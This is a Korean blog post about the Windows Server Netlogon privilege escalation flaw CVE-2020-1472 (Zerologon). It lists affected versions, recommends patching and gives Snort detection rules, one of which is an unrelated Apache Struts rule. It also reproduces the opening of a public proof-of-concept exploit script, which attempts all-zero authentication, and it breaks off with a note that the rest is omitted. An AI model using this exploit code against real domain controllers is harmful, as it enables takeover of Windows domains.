티스토리 뷰

728x90
반응형

[CVE 취약점] 윈도우 서버의 Netlogon 권한상승 취약점(CVE-2020-1472)


참조

https://github.com/dirkjanm/CVE-2020-1472/blob/master/cve-2020-1472-exploit.py

https://github.com/dirkjanm/CVE-2020-1472

https://github.com/blackarrowsec/redteam-research/tree/master/CVE-2020-1472

https://portal.msrc.microsoft.com/ko-KR/security-guidance/advisory/CVE-2020-1472

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1472


Poc 

#!/usr/bin/env python3

from impacket.dcerpc.v5 import nrpc, epm
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import transport
from impacket import crypto

import hmac, hashlib, struct, sys, socket, time
from binascii import hexlify, unhexlify
from subprocess import check_call

# Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be neccessary on average.
MAX_ATTEMPTS = 2000 # False negative chance: 0.04%

def fail(msg):
    print(msg, file=sys.stderr)
    print('This might have been caused by invalid arguments or network issues.', file=sys.stderr)
    sys.exit(2)

def try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer):
    # Connect to the DC's Netlogon service.


    # Use an all-zero challenge and credential.
    plaintext = b'\x00' * 8
    ciphertext = b'\x00' * 8

    # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
    flags = 0x212fffff

    # Send challenge and authentication request.
    nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
    try:
        server_auth = nrpc.hNetrServerAuthenticate3(
            rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
            target_computer + '\x00', ciphertext, flags
        )

=================================  이하 생략 ========================================== 




개요

MS 社는 윈도우에서 발생하는 취약점 주의 권고 발표

8월 MS 정기 보안업데이트에 포함되었으나, 해당 취약점을 악용한 공격 코드가 공개되어 이용자들의 각별한 주의와 적극적인 업데이트 필요


윈도우 서버의 Netlogon에서 취약한 암호화 운영모드를 사용하여 발생하는 권한상승 취약점(CVE-2020-1472)

   ※ Netlogon : 도메인 내의 사용자 및 서비스를 인증하는 윈도우 서버 인증 프로토콜


영향 받는 제품 버전

윈도우 서버 2008 R2 for x64-based Systems 서비스팩 1(Server Core installation 포함)

윈도우 서버 2012, 2012 R2 (Server Core installation 포함)

윈도우 서버 2016 (Server Core installation 포함)

윈도우 서버 2019 (Server Core installation 포함)

윈도우 서버 version 1903 (Server Core installation)

윈도우 서버 version 1909 (Server Core installation)

윈도우 서버 version 2004 (Server Core installation)


방안

참고 사이트의 “Security Updates” 부분을 참고하여 각 버전에 해당되는 최신 버전으로 업데이트 적용 


Snort  

alert tcp any any -> any 1024 (sid:1; gid:1; flow:established,to_server; content:"|24 00 00 00|"; distance:0;
content:"|00 00 00 00 00 00 00 00 ff ff 2f 21|"; distance:0; msg:"zerologon_CVE-2020-1472";)

alert tcp any any -> any $HTTP_PORTS (msg:"SERVER-APACHE Apache Struts remote code execution attempt"; flow:to_server,established;
content:"|23|_memberAccess"; fast_pattern:only; http_client_bodycontent:"new "; nocase; http_client_bodypcre:"/new\s+(java|org|sun)/Pi";
reference:cve,2017-12611; reference:cve,2017-5638;

reference:cve,2017-9791; reference:url,struts.apache.org/docs/s2-045.html; reference:url,struts.apache.org/docs/s2-048.html; reference:url,struts.apache.org/docs/s2-053.html;)  





728x90
반응형
댓글
250x250
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today